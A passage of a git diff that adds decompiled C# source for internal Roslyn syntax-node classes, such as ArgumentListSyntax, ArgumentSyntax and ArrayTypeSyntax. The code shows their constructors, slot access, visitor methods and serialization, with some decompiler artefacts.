expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + if (nameEquals != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameEquals); + this.nameEquals = nameEquals; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal AnonymousObjectMemberDeclaratorSyntax(SyntaxKind kind, NameEqualsSyntax? nameEquals, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + if (nameEquals != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameEquals); + this.nameEquals = nameEquals; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => nameEquals, + 1 => expression, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousObjectMemberDeclaratorSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAnonymousObjectMemberDeclarator(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAnonymousObjectMemberDeclarator(this); + } + + public AnonymousObjectMemberDeclaratorSyntax Update(NameEqualsSyntax nameEquals, ExpressionSyntax expression) + { + if (nameEquals != NameEquals || expression != Expression) + { + AnonymousObjectMemberDeclaratorSyntax anonymousObjectMemberDeclaratorSyntax = SyntaxFactory.AnonymousObjectMemberDeclarator(nameEquals, expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + anonymousObjectMemberDeclaratorSyntax = GreenNodeExtensions.WithDiagnosticsGreen(anonymousObjectMemberDeclaratorSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + anonymousObjectMemberDeclaratorSyntax = GreenNodeExtensions.WithAnnotationsGreen(anonymousObjectMemberDeclaratorSyntax, (IEnumerable)annotations); + } + return anonymousObjectMemberDeclaratorSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new AnonymousObjectMemberDeclaratorSyntax(base.Kind, nameEquals, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new AnonymousObjectMemberDeclaratorSyntax(base.Kind, nameEquals, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal AnonymousObjectMemberDeclaratorSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + NameEqualsSyntax nameEqualsSyntax = (NameEqualsSyntax)reader.ReadValue(); + if (nameEqualsSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameEqualsSyntax); + nameEquals = nameEqualsSyntax; + } + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)nameEquals); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static AnonymousObjectMemberDeclaratorSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(AnonymousObjectMemberDeclaratorSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new AnonymousObjectMemberDeclaratorSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArgumentListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArgumentListSyntax.cs new file mode 100644 index 0000000..dfd8fd3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArgumentListSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ArgumentListSyntax : BaseArgumentListSyntax +{ + internal readonly SyntaxToken openParenToken; + + internal readonly GreenNode? arguments; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken OpenParenToken => openParenToken; + + public override SeparatedSyntaxList Arguments => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(arguments))); + + public SyntaxToken CloseParenToken => closeParenToken; + + internal ArgumentListSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? arguments, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (arguments != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arguments); + this.arguments = arguments; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal ArgumentListSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? arguments, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (arguments != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arguments); + this.arguments = arguments; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal ArgumentListSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? arguments, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (arguments != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(arguments); + this.arguments = arguments; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openParenToken, + 1 => arguments, + 2 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentListSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitArgumentList(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitArgumentList(this); + } + + public ArgumentListSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList arguments, SyntaxToken closeParenToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken == OpenParenToken) + { + SeparatedSyntaxList val = Arguments; + if (!((ref arguments) != (ref val)) && closeParenToken == CloseParenToken) + { + return this; + } + } + ArgumentListSyntax argumentListSyntax = SyntaxFactory.ArgumentList(openParenToken, arguments, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + argumentListSyntax = GreenNodeExtensions.WithDiagnosticsGreen(argumentListSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + argumentListSyntax = GreenNodeExtensions.WithAnnotationsGreen(argumentListSyntax, (IEnumerable)annotations); + } + return argumentListSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ArgumentListSyntax(base.Kind, openParenToken, arguments, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ArgumentListSyntax(base.Kind, openParenToken, arguments, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ArgumentListSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openParenToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + arguments = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeParenToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)arguments); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static ArgumentListSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ArgumentListSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ArgumentListSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArgumentSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArgumentSyntax.cs new file mode 100644 index 0000000..abbe721 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArgumentSyntax.cs @@ -0,0 +1,165 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ArgumentSyntax : CSharpSyntaxNode +{ + internal readonly NameColonSyntax? nameColon; + + internal readonly SyntaxToken? refKindKeyword; + + internal readonly ExpressionSyntax expression; + + public NameColonSyntax? NameColon => nameColon; + + public SyntaxToken? RefKindKeyword => refKindKeyword; + + public ExpressionSyntax Expression => expression; + + internal ArgumentSyntax(SyntaxKind kind, NameColonSyntax? nameColon, SyntaxToken? refKindKeyword, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + if (nameColon != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameColon); + this.nameColon = nameColon; + } + if (refKindKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)refKindKeyword); + this.refKindKeyword = refKindKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal ArgumentSyntax(SyntaxKind kind, NameColonSyntax? nameColon, SyntaxToken? refKindKeyword, ExpressionSyntax expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + if (nameColon != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameColon); + this.nameColon = nameColon; + } + if (refKindKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)refKindKeyword); + this.refKindKeyword = refKindKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal ArgumentSyntax(SyntaxKind kind, NameColonSyntax? nameColon, SyntaxToken? refKindKeyword, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + if (nameColon != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameColon); + this.nameColon = nameColon; + } + if (refKindKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)refKindKeyword); + this.refKindKeyword = refKindKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => nameColon, + 1 => refKindKeyword, + 2 => expression, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitArgument(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitArgument(this); + } + + public ArgumentSyntax Update(NameColonSyntax nameColon, SyntaxToken refKindKeyword, ExpressionSyntax expression) + { + if (nameColon != NameColon || refKindKeyword != RefKindKeyword || expression != Expression) + { + ArgumentSyntax argumentSyntax = SyntaxFactory.Argument(nameColon, refKindKeyword, expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + argumentSyntax = GreenNodeExtensions.WithDiagnosticsGreen(argumentSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + argumentSyntax = GreenNodeExtensions.WithAnnotationsGreen(argumentSyntax, (IEnumerable)annotations); + } + return argumentSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ArgumentSyntax(base.Kind, nameColon, refKindKeyword, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ArgumentSyntax(base.Kind, nameColon, refKindKeyword, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ArgumentSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + NameColonSyntax nameColonSyntax = (NameColonSyntax)reader.ReadValue(); + if (nameColonSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameColonSyntax); + nameColon = nameColonSyntax; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + if (syntaxToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + refKindKeyword = syntaxToken; + } + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)nameColon); + writer.WriteValue((IObjectWritable)(object)refKindKeyword); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static ArgumentSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ArgumentSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ArgumentSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArrayCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArrayCreationExpressionSyntax.cs new file mode 100644 index 0000000..e10b4c0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArrayCreationExpressionSyntax.cs @@ -0,0 +1,153 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ArrayCreationExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken newKeyword; + + internal readonly ArrayTypeSyntax type; + + internal readonly InitializerExpressionSyntax? initializer; + + public SyntaxToken NewKeyword => newKeyword; + + public ArrayTypeSyntax Type => type; + + public InitializerExpressionSyntax? Initializer => initializer; + + internal ArrayCreationExpressionSyntax(SyntaxKind kind, SyntaxToken newKeyword, ArrayTypeSyntax type, InitializerExpressionSyntax? initializer, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + } + + internal ArrayCreationExpressionSyntax(SyntaxKind kind, SyntaxToken newKeyword, ArrayTypeSyntax type, InitializerExpressionSyntax? initializer, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + } + + internal ArrayCreationExpressionSyntax(SyntaxKind kind, SyntaxToken newKeyword, ArrayTypeSyntax type, InitializerExpressionSyntax? initializer) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => newKeyword, + 1 => type, + 2 => initializer, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ArrayCreationExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitArrayCreationExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitArrayCreationExpression(this); + } + + public ArrayCreationExpressionSyntax Update(SyntaxToken newKeyword, ArrayTypeSyntax type, InitializerExpressionSyntax initializer) + { + if (newKeyword != NewKeyword || type != Type || initializer != Initializer) + { + ArrayCreationExpressionSyntax arrayCreationExpressionSyntax = SyntaxFactory.ArrayCreationExpression(newKeyword, type, initializer); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + arrayCreationExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(arrayCreationExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + arrayCreationExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(arrayCreationExpressionSyntax, (IEnumerable)annotations); + } + return arrayCreationExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ArrayCreationExpressionSyntax(base.Kind, newKeyword, type, initializer, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ArrayCreationExpressionSyntax(base.Kind, newKeyword, type, initializer, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ArrayCreationExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + newKeyword = syntaxToken; + ArrayTypeSyntax arrayTypeSyntax = (ArrayTypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrayTypeSyntax); + type = arrayTypeSyntax; + InitializerExpressionSyntax initializerExpressionSyntax = (InitializerExpressionSyntax)reader.ReadValue(); + if (initializerExpressionSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializerExpressionSyntax); + initializer = initializerExpressionSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)newKeyword); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)initializer); + } + + static ArrayCreationExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ArrayCreationExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ArrayCreationExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArrayRankSpecifierSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArrayRankSpecifierSyntax.cs new file mode 100644 index 0000000..38bbc26 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArrayRankSpecifierSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ArrayRankSpecifierSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken openBracketToken; + + internal readonly GreenNode? sizes; + + internal readonly SyntaxToken closeBracketToken; + + public SyntaxToken OpenBracketToken => openBracketToken; + + public SeparatedSyntaxList Sizes => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(sizes))); + + public SyntaxToken CloseBracketToken => closeBracketToken; + + internal ArrayRankSpecifierSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? sizes, SyntaxToken closeBracketToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (sizes != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(sizes); + this.sizes = sizes; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal ArrayRankSpecifierSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? sizes, SyntaxToken closeBracketToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (sizes != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(sizes); + this.sizes = sizes; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal ArrayRankSpecifierSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? sizes, SyntaxToken closeBracketToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (sizes != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(sizes); + this.sizes = sizes; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openBracketToken, + 1 => sizes, + 2 => closeBracketToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ArrayRankSpecifierSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitArrayRankSpecifier(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitArrayRankSpecifier(this); + } + + public ArrayRankSpecifierSyntax Update(SyntaxToken openBracketToken, SeparatedSyntaxList sizes, SyntaxToken closeBracketToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken == OpenBracketToken) + { + SeparatedSyntaxList val = Sizes; + if (!((ref sizes) != (ref val)) && closeBracketToken == CloseBracketToken) + { + return this; + } + } + ArrayRankSpecifierSyntax arrayRankSpecifierSyntax = SyntaxFactory.ArrayRankSpecifier(openBracketToken, sizes, closeBracketToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + arrayRankSpecifierSyntax = GreenNodeExtensions.WithDiagnosticsGreen(arrayRankSpecifierSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + arrayRankSpecifierSyntax = GreenNodeExtensions.WithAnnotationsGreen(arrayRankSpecifierSyntax, (IEnumerable)annotations); + } + return arrayRankSpecifierSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ArrayRankSpecifierSyntax(base.Kind, openBracketToken, sizes, closeBracketToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ArrayRankSpecifierSyntax(base.Kind, openBracketToken, sizes, closeBracketToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ArrayRankSpecifierSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openBracketToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + sizes = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeBracketToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openBracketToken); + writer.WriteValue((IObjectWritable)(object)sizes); + writer.WriteValue((IObjectWritable)(object)closeBracketToken); + } + + static ArrayRankSpecifierSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ArrayRankSpecifierSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ArrayRankSpecifierSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArrayTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArrayTypeSyntax.cs new file mode 100644 index 0000000..d892c3d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ArrayTypeSyntax.cs @@ -0,0 +1,144 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ArrayTypeSyntax : TypeSyntax +{ + internal readonly TypeSyntax elementType; + + internal readonly GreenNode? rankSpecifiers; + + public TypeSyntax ElementType => elementType; + + public SyntaxList RankSpecifiers => new SyntaxList(rankSpecifiers); + + internal ArrayTypeSyntax(SyntaxKind kind, TypeSyntax elementType, GreenNode? rankSpecifiers, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elementType); + this.elementType = elementType; + if (rankSpecifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(rankSpecifiers); + this.rankSpecifiers = rankSpecifiers; + } + } + + internal ArrayTypeSyntax(SyntaxKind kind, TypeSyntax elementType, GreenNode? rankSpecifiers, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elementType); + this.elementType = elementType; + if (rankSpecifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(rankSpecifiers); + this.rankSpecifiers = rankSpecifiers; + } + } + + internal ArrayTypeSyntax(SyntaxKind kind, TypeSyntax elementType, GreenNode? rankSpecifiers) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elementType); + this.elementType = 